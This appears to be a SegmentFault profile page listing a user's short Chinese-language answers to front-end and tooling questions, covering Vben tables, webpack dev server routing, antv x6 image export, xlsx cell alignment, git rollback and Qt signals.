使用 "showSummary" 和 "summaryFunc" 属性呢? 属性 | 类型 | 说明 ---|---|--- showSummary | "boolean" | 是否显示合计行 summaryData | "any[]" | 自定义合计数据。如果有则显示该数据 summaryFunc | "(...arg) => any[]" | 计算合计行的方法 👉 "Table 表格 | Vben Admin" (https://link.segmentfault.com/?enc=mIjLnRcbfdXiZDK%2FSm7UaA%3D%3D.cZNM0b6EXnRZ97o5v3xROFuXF5gpHwxTYEE3sIPZ7mOtXTtb%2F2WO8ZBP%2FpBKUCEVUG4Er54w3V%2Fc8yqhUE2KKA%3D%3D)
0
0
0
浏览量0
Fiona

本地环境 Vue 项目地址提示 GET /*** 404 ?

试试这个 // webpack.config.js module.exports = { //... devServer: { historyApiFallback: true, }, }; "devServer.historyApiFallback" (https://link.segmentfault.com/?enc=t8wL0V4GiwRKl5175a%2B%2BGA%3D%3D.jTO%2F%2FqpX1wS5qPeyMICN7Y%2BUL0BOMrK8tU7Gfc3r%2Buv%2FwfX6uGt7fOUguELDVyeyWNTQIieHW9syHcHvkVE6VYIsy9nh%2FPD9zd%2BThU5TAsY%3D)
0
0
0
浏览量0
Fiona

antv x6 导出成图片之后格式紊乱,部分样式丢失,求解决方案?

antv x6 导出成图片之后格式紊乱,部分样式丢失,求解决方案 原本的样式: "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241005/50c3dd22feec87cf386e7a08df4bce0d.png) 导出之后的样式: "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241005/302fb7ee6a7cd6590d5418fc4ee53932.png) 代码: graph.toPNG( datauri => { DataUri.downloadDataUri(datauri, `${name}.png`) }, { backgroundColor: 'transparent', quality: 1, copyStyles: true, }, ) 注意:所以的元件是使用vue组件画的,不知道这个会不会影响 效果与画布效果一致
0
1
0
浏览量118
Fiona

ECM modules不能完全替代CommonJS modules吗?

不同时提供ESM和CJS,你让这些不支持ES6的浏览器环境和NodeJS环境咋办…… "图片.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241003/af2847ad1b0254b7d106f132619a440e.png)
0
0
0
浏览量0
Fiona

关于vue 图片偶尔请求不到加载不出来的问题?

看下图片的请求状态码是不是200,返回结果是什么? "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241003/57766e4dd3c9b074aa01e01e92bbb563.png) "image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241003/adeb5b2f9d050ced9abc3ebccfceabbd.png)
0
0
0
浏览量0
Fiona

请大佬推荐学习地层区块链开发的书籍?

"https://gist.github.com/icexyr/888ffa177acb4256a38131d2e38b727f" (https://gist.github.com/icexyr/888ffa177acb4256a38131d2e38b727f)
0
0
0
浏览量0
Fiona

Travis Ci 出现 eval yarn --frozen-lockfile 报错?

在使用 Travis Ci 构建 Hexo 时出现了构件失败的情况,报错信息为 : error Your lockfile needs to be updated, but yarn was run with `--frozen-lockfile`. info Visit https://yarnpkg.com/en/docs/cli/install for documentation about this command. The command "eval yarn --frozen-lockfile " failed. Retrying, 2 of 3.
0
1
0
浏览量146
Fiona

如何在xlsx文件中设置所有单元格左对齐?

"image.png" (https://wmprod.oss-cn-shanghai.aliyuncs.com/c/user/20241002/9c4759d6f9b6504d5aaa646f2cc143a9.png) Demo代码 Document // 创建一个新的工作簿 const wb = XLSX.utils.book_new(); // 创建一个新的工作表 const ws = XLSX.utils.aoa_to_sheet([ ['Hello', 'World'], ['This', 'is', 'a', 'test'], ]); // 设置所有单元格左对齐 const range = XLSX.utils.decode_range(ws['!ref']); for (let R = range.s.r; R
0
0
0
浏览量0
Fiona

如何回滚到以前的状态?

可以使用 reset 直接重置到指定的 commit 记录。 git reset --hard 23521475fea20408c5fe1aecb8a46bd1373349ad 如果你之前已经推送到远端了,再次推送的时候就会被拒绝,因为远端更新,你只能强制推送,如果在多人协作中,最好确保你的操作没有问题后,执行强制推送。 优先使用下面的命令,来避免其他人提交推送过的代码丢失。 git push --force-with-lease 如果不行则使用 git push -f
0
0
0
浏览量0
Fiona

qt程序,像这种情况应该怎么设计呢?

1. 增加一个 signal "void countChanged(int);" 每次 count 修改 emit 这个 signal 2. 然后在 ui 类里面增加一个 slots "void onCountChanged(int);" connect 这两个函数就行了 这样也是解耦的
0
0
0
浏览量0

履历